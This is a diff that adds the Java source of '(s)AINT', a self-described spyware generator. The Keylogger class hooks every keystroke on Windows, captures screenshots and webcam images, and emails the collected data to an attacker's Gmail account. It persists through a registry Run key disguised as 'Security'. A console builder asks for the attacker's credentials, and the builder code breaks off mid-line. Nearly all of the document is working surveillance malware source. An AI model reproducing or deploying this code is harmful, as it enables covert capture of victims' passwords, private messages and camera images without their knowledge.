b/keyloggers/sAINT/lib/imap.jar differ diff --git a/keyloggers/sAINT/lib/jnativehook.jar b/keyloggers/sAINT/lib/jnativehook.jar new file mode 100644 index 0000000..85e4ee9 Binary files /dev/null and b/keyloggers/sAINT/lib/jnativehook.jar differ diff --git a/keyloggers/sAINT/lib/mailapi.jar b/keyloggers/sAINT/lib/mailapi.jar new file mode 100644 index 0000000..2ac7532 Binary files /dev/null and b/keyloggers/sAINT/lib/mailapi.jar differ diff --git a/keyloggers/sAINT/lib/pop3.jar b/keyloggers/sAINT/lib/pop3.jar new file mode 100644 index 0000000..015a9c9 Binary files /dev/null and b/keyloggers/sAINT/lib/pop3.jar differ diff --git a/keyloggers/sAINT/lib/slf4j-api-1.7.2.jar b/keyloggers/sAINT/lib/slf4j-api-1.7.2.jar new file mode 100644 index 0000000..1a88708 Binary files /dev/null and b/keyloggers/sAINT/lib/slf4j-api-1.7.2.jar differ diff --git a/keyloggers/sAINT/lib/smtp.jar b/keyloggers/sAINT/lib/smtp.jar new file mode 100644 index 0000000..d6150ba Binary files /dev/null and b/keyloggers/sAINT/lib/smtp.jar differ diff --git a/keyloggers/sAINT/lib/webcam-capture-0.3.10.jar b/keyloggers/sAINT/lib/webcam-capture-0.3.10.jar new file mode 100644 index 0000000..59bd693 Binary files /dev/null and b/keyloggers/sAINT/lib/webcam-capture-0.3.10.jar differ diff --git a/keyloggers/sAINT/pom.xml b/keyloggers/sAINT/pom.xml new file mode 100644 index 0000000..dc55796 --- /dev/null +++ b/keyloggers/sAINT/pom.xml @@ -0,0 +1,76 @@ + + + 4.0.0 + com.saint + saint + 1.0 + jar + + + + webcam-capture-0.3.10 + webcam-capture-0.3.10 + 0.3.10 + + + org.apache.commons + commons-email + 1.5 + + + org.slf4j + slf4j-api + 1.7.20 + + + + jnativehook + jnativehook + 0.1 + + + + + com.nativelibs4java + bridj + 0.6.2 + + + activation + activation + 0.1 + + + + UTF-8 + 1.8 + 1.8 + + + + + maven-assembly-plugin + + + jar-with-dependencies + + + + saint.keylogger.Keylogger + + + + + + make-assembly + package + + single + + + + + + + (s)AINT + diff --git a/keyloggers/sAINT/sAINT.jar b/keyloggers/sAINT/sAINT.jar new file mode 100644 index 0000000..86cf1dc Binary files /dev/null and b/keyloggers/sAINT/sAINT.jar differ diff --git a/keyloggers/sAINT/src_template/main/java/saint/email/SendEmail.java b/keyloggers/sAINT/src_template/main/java/saint/email/SendEmail.java new file mode 100644 index 0000000..ebecb50 --- /dev/null +++ b/keyloggers/sAINT/src_template/main/java/saint/email/SendEmail.java @@ -0,0 +1,188 @@ +/* + * Copyright (c) 2017, tiagorlampert + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ +package saint.email; + +import java.io.File; +import java.io.IOException; +import org.apache.commons.mail.EmailAttachment; +import org.apache.commons.mail.EmailException; +import org.apache.commons.mail.MultiPartEmail; +import org.apache.commons.mail.SimpleEmail; + +/** + * + * @author tiagorlampert + */ +public class SendEmail { + + private String smtp; + private String email_from; + private String email_password; + private String email_to; + private String subject; + private String msg; + private String port; + private boolean ssl; + private boolean tls; + private boolean debug; + + public void sendSimpleEmail(String email_to, String subject, String msg) { + SimpleEmail email = new SimpleEmail(); + try { + email.setDebug(debug); + email.setHostName(smtp); + email.addTo(email_to); + email.setFrom(email_from); + email.setAuthentication(email_from, email_password); + email.setSubject(subject); + email.setMsg(msg); + email.setSSL(ssl); + email.setTLS(tls); + email.send(); + } catch (EmailException e) { + System.out.println(e.getMessage()); + } + } + + public void sendEmailAttachment(String email_to, String assunto, String msg, String file_screenshot, String file_cam, String file_logs) { + File cam_file = new File(file_cam); + if (!cam_file.exists()) { + try { + File new_file = new File(file_cam); + new_file.createNewFile(); + } catch (IOException e) { + System.out.println(e.getMessage()); + } + } + + File fileScreenshot = new File(file_screenshot); + EmailAttachment attachmentScreenshot = new EmailAttachment(); + attachmentScreenshot.setPath(fileScreenshot.getPath()); + attachmentScreenshot.setDisposition(EmailAttachment.ATTACHMENT); + attachmentScreenshot.setDescription("Screenshot"); + attachmentScreenshot.setName(fileScreenshot.getName()); + + File fileCam = new File(file_cam); + EmailAttachment attachmentCam = new EmailAttachment(); + attachmentCam.setPath(fileCam.getPath()); + attachmentCam.setDisposition(EmailAttachment.ATTACHMENT); + attachmentCam.setDescription("Cam"); + attachmentCam.setName(fileCam.getName()); + + File fileLogs = new File(file_logs); + EmailAttachment attachmentLogs = new EmailAttachment(); + attachmentLogs.setPath(fileLogs.getPath()); + attachmentLogs.setDisposition(EmailAttachment.ATTACHMENT); + attachmentLogs.setDescription("Logs"); + attachmentLogs.setName(fileLogs.getName()); + + try { + MultiPartEmail email = new MultiPartEmail(); + email.setDebug(debug); + email.setHostName(smtp); + email.addTo(email_to); + email.setFrom(email_from); + email.setAuthentication(email_from, email_password); + email.setSubject(assunto); + email.setMsg(msg); + email.setSSL(true); + email.attach(attachmentScreenshot); + email.attach(attachmentCam); + email.attach(attachmentLogs); + email.send(); + } catch (EmailException e) { + System.out.println(e.getMessage()); + } + } + + public void sendEmailAttachment(String email_to, String assunto, String msg, String file, String file_logs) { + File fileScreenshot = new File(file); + EmailAttachment attachment = new EmailAttachment(); + attachment.setPath(fileScreenshot.getPath()); + attachment.setDisposition(EmailAttachment.ATTACHMENT); + attachment.setDescription("Attachment"); + attachment.setName(fileScreenshot.getName()); + + File fileLogs = new File(file_logs); + EmailAttachment attachmentLogs = new EmailAttachment(); + attachmentLogs.setPath(fileLogs.getPath()); + attachmentLogs.setDisposition(EmailAttachment.ATTACHMENT); + attachmentLogs.setDescription("Logs"); + attachmentLogs.setName(fileLogs.getName()); + + try { + MultiPartEmail email = new MultiPartEmail(); + email.setDebug(debug); + email.setHostName(smtp); + email.addTo(email_to); + email.setFrom(email_from); + email.setAuthentication(email_from, email_password); + email.setSubject(assunto); + email.setMsg(msg); + email.setSSL(true); + email.attach(attachment); + email.attach(attachmentLogs); + email.send(); + } catch (EmailException e) { + System.out.println(e.getMessage()); + } + } + + public void sendEmailAttachment(String email_to, String assunto, String msg, String file_logs) { + File fileLogs = new File(file_logs); + EmailAttachment attachmentLogs = new EmailAttachment(); + attachmentLogs.setPath(fileLogs.getPath()); + attachmentLogs.setDisposition(EmailAttachment.ATTACHMENT); + attachmentLogs.setDescription("Logs"); + attachmentLogs.setName(fileLogs.getName()); + + try { + MultiPartEmail email = new MultiPartEmail(); + email.setDebug(debug); + email.setHostName(smtp); + email.addTo(email_to); + email.setFrom(email_from); + email.setAuthentication(email_from, email_password); + email.setSubject(assunto); + email.setMsg(msg); + email.setSSL(true); + email.attach(attachmentLogs); + email.send(); + } catch (EmailException e) { + System.out.println(e.getMessage()); + } + } + + public SendEmail(String smtp, String email_from, String email_password, String port, boolean ssl, boolean tls, boolean debug) { + this.smtp = smtp; + this.email_from = email_from; + this.email_password = email_password; + this.port = port; + this.ssl = ssl; + this.tls = tls; + this.debug = debug; + } +} diff --git a/keyloggers/sAINT/src_template/main/java/saint/keylogger/Keylogger.java b/keyloggers/sAINT/src_template/main/java/saint/keylogger/Keylogger.java new file mode 100644 index 0000000..f28fbbf --- /dev/null +++ b/keyloggers/sAINT/src_template/main/java/saint/keylogger/Keylogger.java @@ -0,0 +1,381 @@ +/* + * Copyright (c) 2017, tiagorlampert + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ +package saint.keylogger; + +import saint.email.SendEmail; +import saint.screenshot.Screenshot; +import saint.webcam.Cam; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.FileWriter; +import java.io.IOException; +import java.nio.channels.FileChannel; +import java.text.DateFormat; +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.logging.Level; +import org.jnativehook.GlobalScreen; +import org.jnativehook.NativeHookException; +import org.jnativehook.keyboard.NativeKeyEvent; +import org.jnativehook.keyboard.NativeKeyListener; + +/** + * + * @author tiagorlampert + */ +public class Keylogger extends javax.swing.JFrame implements NativeKeyListener { + + private static DateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd"); + private static DateFormat dateFormatHour = new SimpleDateFormat("yyyy-MM-dd HH-mm-ss"); + private static String folder = "\\(s)AINT"; + private static String environment_variable_path = "APPDATA"; + private static String path_logs = "\\Logs\\"; + private static String path_screenshot = "\\Screenshot\\"; + private static String path_cam = "\\Cam\\"; + private static String app_path; + private static String nameFileScreenshot; + private static String nameFileCam; + private static String logs = ""; + private static String logs_send = ""; + private static String smtp = "smtp.gmail.com"; + private static String email_from = "email@gmail.com"; + private static String email_password = "passwordemail"; + private static String email_to = "email@gmail.com"; + private static String subject = "(s)AINT"; + private static String port = ""; + private static int cam_width = 640; + private static int cam_height = 480; + private static int count = countNumber; + private static int count_state = 0; + private static boolean ssl = true; + private static boolean tls = false; + private static boolean debug_email = true; + private static boolean screenshot = booleanScreenshot; + private static boolean cam = booleanCam; + private static boolean persistence = booleanPersistence; + private static boolean keepdata = booleanKeepData; + private static String name_jar = "\\saint.jar"; + + public static void main(String[] args) throws IOException { + detectOS(); + + app_path = System.getenv(environment_variable_path) + folder; + + createFolder(app_path); + createFolder(app_path + path_logs); + createFolder(app_path + path_screenshot); + createFolder(app_path + path_cam); + + if (persistence == true) { + copyFile(Keylogger.class.getProtectionDomain().getCodeSource().getLocation().getPath(), app_path + name_jar); + } + + try { + GlobalScreen.registerNativeHook(); + } catch (NativeHookException ex) { + java.util.logging.Logger.getLogger(Keylogger.class.getName()).log(Level.SEVERE, null, ex); + } + GlobalScreen.getInstance().addNativeKeyListener(new Keylogger()); + } + + private static void copyFile(String source, String dest) { + File jar_file = new File(app_path + name_jar); + if (!jar_file.exists()) { + File sourceFile = new File(source); + File destFile = new File(dest); + FileChannel sourceChannel = null; + FileChannel destChannel = null; + try { + sourceChannel = new FileInputStream(sourceFile).getChannel(); + destChannel = new FileOutputStream(destFile).getChannel(); + destChannel.transferFrom(sourceChannel, 0, sourceChannel.size()); + } catch (IOException e) { + e.printStackTrace(); + } + try { + Runtime.getRuntime().exec("REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /V \"Security\" /t REG_SZ /F /D \""+app_path+name_jar+"\""); + } catch (IOException ex) { + System.out.println(ex.getMessage()); + } + } + } + + private static void createFolder(String path) { + new File(path).mkdir(); + } + + private static void deleteFolder(String path) { + File folder = new File(path); + File[] files = folder.listFiles(); + for (File file : files) { + file.delete(); + } + } + + private static void deleteData() { + if (!keepdata) { + deleteFolder(app_path + path_logs); + deleteFolder(app_path + path_screenshot); + deleteFolder(app_path + path_cam); + } + } + + private static void detectOS() { + if (!System.getProperty("os.name").toLowerCase().contains("windows")) { + System.out.println("[!] OS is not supported!"); + System.exit(0); + } + } + + public void SaveLogs(String c) { + logs += c; + count_state += 1; + try (BufferedWriter bw = new BufferedWriter(new FileWriter(app_path + path_logs + dateFormat.format(new Date()) + ".txt", true))) { + bw.write(c); + } catch (IOException e) { + e.printStackTrace(); + } + + // System.out.println("Logs: " + logs); + // System.out.println("Count: " + count_state); + + if (count_state >= count) { + count_state = 0; + logs_send = logs; + logs = ""; + + if (screenshot == true && cam == true) { + Thread.currentThread().setContextClassLoader(getClass().getClassLoader()); + sendAll(); + } else if (screenshot == true && cam == false) { + Thread.currentThread().setContextClassLoader(getClass().getClassLoader()); + sendScreenshot(); + } else if (screenshot == false && cam == true) { + + Thread.currentThread().setContextClassLoader(getClass().getClassLoader()); + sendCam(); + } else if (screenshot == false && cam == false) { + Thread.currentThread().setContextClassLoader(getClass().getClassLoader()); + send(); + } + } + } + + public void sendAll() { + try { + nameFileScreenshot = dateFormatHour.format(new Date()).toString(); + Screenshot.TakeScreenshot(app_path + path_screenshot, dateFormatHour.format(new Date())); + + nameFileCam = dateFormatHour.format(new Date()).toString(); + Cam.Capture(app_path + path_cam, dateFormatHour.format(new Date()), cam_width, cam_height); + + } catch (Exception ex) { + System.out.println(ex.getMessage()); + } + new Thread(() -> { + SendEmail e = new SendEmail(smtp, email_from, email_password, port, ssl, tls, debug_email); + e.sendEmailAttachment( + email_to, + subject, + logs_send, + app_path + path_screenshot + nameFileScreenshot + ".jpg", + app_path + path_cam + nameFileCam + ".png", + app_path + path_logs + dateFormat.format(new Date()) + ".txt" + ); + deleteData(); + }).start(); + } + + public void sendScreenshot() { + try { + nameFileScreenshot = dateFormatHour.format(new Date()).toString(); + Screenshot.TakeScreenshot(app_path + path_screenshot, dateFormatHour.format(new Date())); + } catch (Exception ex) { + System.out.println(ex.getMessage()); + } + new Thread(() -> { + SendEmail e = new SendEmail(smtp, email_from, email_password, port, ssl, tls, debug_email); + e.sendEmailAttachment( + email_to, + subject, + logs_send, + app_path + path_screenshot + nameFileScreenshot + ".jpg", + app_path + path_logs + dateFormat.format(new Date()) + ".txt" + ); + deleteData(); + }).start(); + } + + public void sendCam() { + try { + nameFileCam = dateFormatHour.format(new Date()).toString(); + Cam.Capture(app_path + path_cam, dateFormatHour.format(new Date()), cam_width, cam_height); + } catch (Exception ex) { + System.out.println(ex.getMessage()); + } + new Thread(() -> { + SendEmail e = new SendEmail(smtp, email_from, email_password, port, ssl, tls, debug_email); + e.sendEmailAttachment( + email_to, + subject, + logs_send, + app_path + path_cam + nameFileCam + ".png", + app_path + path_logs + dateFormat.format(new Date()) + ".txt" + ); + deleteData(); + }).start(); + } + + public void send() { + new Thread(() -> { + SendEmail e = new SendEmail(smtp, email_from, email_password, port, ssl, tls, debug_email); + e.sendEmailAttachment( + email_to, + subject, + logs_send, + app_path + path_logs + dateFormat.format(new Date()) + ".txt" + ); + deleteData(); + }).start(); + } + + @Override + public void nativeKeyPressed(NativeKeyEvent nke) { +// System.out.println(nke.getRawCode()); + switch (nke.getRawCode()) { + case 8: + SaveLogs("[Backspace]"); + break; + case 9: + SaveLogs("[Tab]"); + break; + case 13: + SaveLogs("[Enter]"); + break; +// case 19: +// SaveLogs("[PauseBreak]"); +// break; +// case 27: +// SaveLogs("[Esc]"); +// break; +// case 33: +// SaveLogs("[PgUp]"); +// break; +// case 34: +// SaveLogs("[PgDown]"); +// break; +// case 35: +// SaveLogs("[End]"); +// break; +// case 36: +// SaveLogs("[Home]"); +// break; +// case 37: +// SaveLogs("[Left]"); +// break; +// case 38: +// SaveLogs("[Up]"); +// break; +// case 39: +// SaveLogs("[Right]"); +// break; +// case 40: +// SaveLogs("[Down]"); +// break; +// case 44: +// SaveLogs("[PrintScreen]"); +// break; +// case 45: +// SaveLogs("[Insert]"); +// break; + case 46: + SaveLogs("[Del]"); + break; + case 112: + SaveLogs("[F1]"); + break; + case 113: + SaveLogs("[F2]"); + break; + case 114: + SaveLogs("[F3]"); + break; + case 115: + SaveLogs("[F4]"); + break; + case 116: + SaveLogs("[F5]"); + break; + case 117: + SaveLogs("[F6]"); + break; + case 118: + SaveLogs("[F7]"); + break; + case 119: + SaveLogs("[F8]"); + break; + case 120: + SaveLogs("[F9]"); + break; + case 121: + SaveLogs("[F10]"); + break; + case 122: + SaveLogs("[F11]"); + break; + case 123: + SaveLogs("[F12]"); + break; + case 144: + SaveLogs("[NumLock]"); + break; + case 162: + SaveLogs("[Ctrl]"); + break; + case 163: + SaveLogs("[Ctrl]"); + break; + case 164: + SaveLogs("[Alt]"); + break; + case 165: + SaveLogs("[Alt]"); + break; + } + } + + @Override + public void nativeKeyReleased(NativeKeyEvent nke) { + } + + @Override + public void nativeKeyTyped(NativeKeyEvent nke) { + SaveLogs(String.valueOf(nke.getKeyChar())); + } +} diff --git a/keyloggers/sAINT/src_template/main/java/saint/screenshot/Screenshot.java b/keyloggers/sAINT/src_template/main/java/saint/screenshot/Screenshot.java new file mode 100644 index 0000000..d040af8 --- /dev/null +++ b/keyloggers/sAINT/src_template/main/java/saint/screenshot/Screenshot.java @@ -0,0 +1,55 @@ +/* + * Copyright (c) 2017, tiagorlampert + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ +package saint.screenshot; + +import java.awt.AWTException; +import java.awt.Rectangle; +import java.awt.Robot; +import java.awt.Toolkit; +import java.awt.image.BufferedImage; +import java.io.File; +import java.io.IOException; +import javax.imageio.ImageIO; + +/** + * + * @author tiagorlampert + * + * Source: http://www.codejava.net/java-se/graphics/how-to-capture-screenshot-programmatically-in-java + */ +public class Screenshot { + + public static void TakeScreenshot(String filePath, String fileName) { + try { + Robot robot = new Robot(); + Rectangle screenRect = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize()); + BufferedImage screenFullImage = robot.createScreenCapture(screenRect); + ImageIO.write(screenFullImage, "jpg", new File(filePath + fileName + ".jpg")); + } catch (AWTException | IOException ex) { + System.out.println(ex.getMessage()); + } + } +} diff --git a/keyloggers/sAINT/src_template/main/java/saint/ui/sAINT.java b/keyloggers/sAINT/src_template/main/java/saint/ui/sAINT.java new file mode 100644 index 0000000..4ec07f5 --- /dev/null +++ b/keyloggers/sAINT/src_template/main/java/saint/ui/sAINT.java @@ -0,0 +1,436 @@ +/* + * Copyright (c) 2017, tiagorlampert + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ +package saint.ui; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.FileReader; +import java.io.FileWriter; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.nio.channels.FileChannel; +import java.util.Scanner; +import java.util.concurrent.TimeUnit; +import java.util.logging.Level; +import java.util.logging.Logger; + +/** + * + * @author tiagorlampert + */ +public class sAINT { + + public static final String RESET = "\u001B[0;1m"; + public static final String BLACK = "\u001B[30;1m"; + public static final String RED = "\u001B[31;1m"; + public static final String GREEN = "\u001B[32;1m"; + public static final String YELLOW = "\u001B[33;1m"; + public static final String BLUE = "\u001B[34;1m"; + public static final String PURPLE = "\u001B[35;1m"; + public static final String CYAN = "\u001B[36;1m"; + public static final String WHITE = "\u001B[37;1m"; + public static Scanner scanner = new Scanner(System.in); + public static String email; + public static String password; + public static int count; + public static boolean screenshot; + public static boolean webcam; + public static boolean persistence; + public static boolean keep_data; + public static String path_source = "src/main/java/saint/keylogger/Keylogger.java"; + + public static void main(String[] args) throws IOException { + detectOS(); + clearScreen(); + showMenu(); + } + + private static void detectOS() { + if (!System.getProperty("os.name").toLowerCase().equalsIgnoreCase("linux")) { + System.out.println("[!] OS is not supported!"); + System.exit(0); + } + } + + private static void clearScreen() { + System.out.print("\033\143"); + } + + private static void waitTime(int time) throws InterruptedException { + TimeUnit.SECONDS.sleep(time); + } + + private static void replaceWord(String oldWord, String newWord, String file_name) { + try { + File file = new File(file_name); + BufferedReader reader = new BufferedReader(new FileReader(file)); + String line = "", oldtext = ""; + while ((line = reader.readLine()) != null) { + oldtext += line + "\r\n"; + } + reader.close(); + String newtext = oldtext.replaceAll(oldWord, newWord); + FileWriter writer = new FileWriter(file_name); + writer.write(newtext); + writer.close(); + } catch (IOException ioe) { + System.out.println(RED + " [!] Error to generate file! " + ioe.getMessage()); + deleteFolder("src/"); + System.exit(0); + } + } + + public static void copyFolder(File src, File dest) throws IOException { + if (src.isDirectory()) { + if (!dest.exists()) { + dest.mkdir(); + } + String files[] = src.list(); + for (String file : files) { + File srcFile = new File(src, file); + File destFile = new File(dest, file); + copyFolder(srcFile, destFile); + } + } else { + InputStream in = new FileInputStream(src); + OutputStream out = new FileOutputStream(dest); + byte[] buffer = new byte[1024]; + int length; + while ((length = in.read(buffer)) > 0) { + out.write(buffer, 0, length); + } + + in.close(); + out.close(); + } + } + + private static void deleteFolder(String path) { + File folder = new File(path); + if (folder.exists() && folder.isDirectory()) { + File[] files = folder.listFiles(); + for (File file : files) { + file.delete(); + } + } + } + + private static boolean checkIfFolderExists(String path) { + File folder = new File(path); + if (folder.exists() && folder.isDirectory()) { + return true; + } else { + return false; + } + } + + private static boolean checkIfFileExists(String file) { + File path_file = new File(file); + if (path_file.exists()) { + return true; + } else { + return false; + } + } + + private static void copyFile(String source, String dest) { + File sourceFile = new File(source); + File destFile = new File(dest); + FileChannel sourceChannel = null; + FileChannel destChannel = null; + try { + sourceChannel = new FileInputStream(sourceFile).getChannel(); + destChannel = new FileOutputStream(destFile).getChannel(); + destChannel.transferFrom(sourceChannel, 0, sourceChannel.size()); + } catch (IOException e) { + e.printStackTrace(); + } + } + + private static void runProcess(String command, String msg) { + try { + Process process = Runtime.getRuntime().exec(command); + System.out.print(GREEN + "\n" + msg); + try { + process.waitFor(); + } catch (InterruptedException ex) { + System.out.println(RED + " [!] Error! " + ex.getMessage()); + System.exit(0); + } + } catch (IOException ex) { + System.out.println(RED + " [!] Error! " + ex.getMessage()); + System.exit(0); + } + } + + private static void showMenu() { + + System.out.println("" + + RED + " .. .. \n" + + RED + " pd' `bq db `7MMF'`7MN. `7MF'MMP\"\"MM\"\"YMM \n" + + RED + " 6P YA ;MM: MM MMN. M P' MM `7 \n" + + RED + " 6M' ,pP\"Ybd `Mb ,V^MM. MM M YMb M MM \n" + + RED + " MN 8I `\" 8M ,M `MM MM M `MN. M MM \n" + + RED + " MN `YMMMa. 8M AbmmmqMA MM M `MM.M MM \n" + + RED + " YM. L. I8 ,M9 A' VML MM M YMM MM \n" + + RED + " Mb M9mmmP' dM .AMA. .AMMA..JMML..JML. YM .JMML. \n" + + RED + " Yq. .pY \n" + + RED + " `` '' " + GREEN + " Version: 1.0 \n" + + YELLOW + " (s)AINT - Spyware Generator \n" + + BLUE + " Written by tiagorlampert \n" + + WHITE + " \n" + + WHITE + " ** DISCLAIMER ** \n" + + WHITE + " THIS SOFTWARE IS PROVIDED \"AS IS\" WITHOUT WARRANTY OF ANY KIND.\n" + + WHITE + " YOU MAY USE THIS SOFTWARE AT YOUR OWN RISK. THE USE IS COMPLETE \n" + + WHITE + " RESPONSIBILITY OF THE END-USER. THE DEVELOPERS ASSUME NO \n" + + WHITE + " LIABILITY AND ARE NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE \n" + + WHITE + " CAUSED BY THIS PROGRAM. \n" + + WHITE + " \n" + + WHITE + " Close this window if you wish to exit. Otherwise, \n" + + WHITE + " press [ENTER] key to continue..." + ); + + scanner.nextLine(); + + showGenerator(); + } + + private static void showGenerator() { + clearScreen(); + System.out.println("" + + RED + " +---------------------------------------------------+\n" + + RED + " (__) | " + YELLOW + "WARNING: Use Gmail account only! " + RED + "|\n" + + RED + " (|)(00) | " + WHITE + "E-mail will be sent when it reaches the specified " + RED + "|\n" + + RED + " |/(__)\\ | " + WHITE + "number of characters. Optionally you can enable " + RED + "|\n" + + RED + " |_/ _| | " + WHITE + "Screenshot, Webcam Capture and Persistence. " + RED + "|\n" + + RED + " +---------------------------------------------------+\n"); + + System.out.println(YELLOW + " GENERATE SPYWARE\n" + YELLOW + " --------------------------------------------"); + + System.out.print(YELLOW + "\n [*] Enter your E-mail: " + WHITE); + email = scanner.nextLine(); + while (email.trim().equalsIgnoreCase("")) { + System.out.print(YELLOW + "\n [*] Enter your E-mail: " + WHITE); + email = scanner.nextLine(); + } + + System.out.print(YELLOW + " [*] Enter your Password: " + WHITE); + password = scanner.nextLine(); + while (password.equalsIgnoreCase("")) { + System.out.print(YELLOW + " [*] Enter your Password: " + WHITE); + password = scanner.nextLine(); + } + + System.out.print(YELLOW + " [*] Enable Screenshot (Y/n): " + WHITE); + String optScreenshot = scanner.nextLine(); + if (optScreenshot.trim().equalsIgnoreCase("y")) { + screenshot = true; + } else if (optScreenshot.trim().equalsIgnoreCase("n")) { + screenshot = false; + } else if (!optScreenshot.trim().equalsIgnoreCase("")) { + System.out.println(RED + " [!] Invalid option!"); + try { + waitTime(2); + showGenerator(); + } catch (InterruptedException ex) { + System.out.println(RED + " [!] Error! " + ex.getMessage()); + } + } else if (optScreenshot.trim().equalsIgnoreCase("")) { + System.out.println(GREEN + " [+] Default option: Y"); + screenshot = true; + } + + System.out.print(YELLOW + " [*] Enable WebCam (Y/n): " + WHITE); + String optCam = scanner.nextLine(); + if (optCam.trim().equalsIgnoreCase("y")) { + webcam = true; + } else if (optCam.trim().equalsIgnoreCase("n")) { + webcam = false; + } else if (!optCam.trim().equalsIgnoreCase("")) { + System.out.println(RED + " [!] Invalid option!"); + try { + waitTime(2); + showGenerator(); + } catch (InterruptedException ex) { + System.out.println(ex.getMessage()); + } + } else if (optCam.trim().equalsIgnoreCase("")) { + System.out.println(GREEN + " [+] Default option: Y"); + webcam = true; + } + + System.out.print(YELLOW + " [*] Enable Persistence 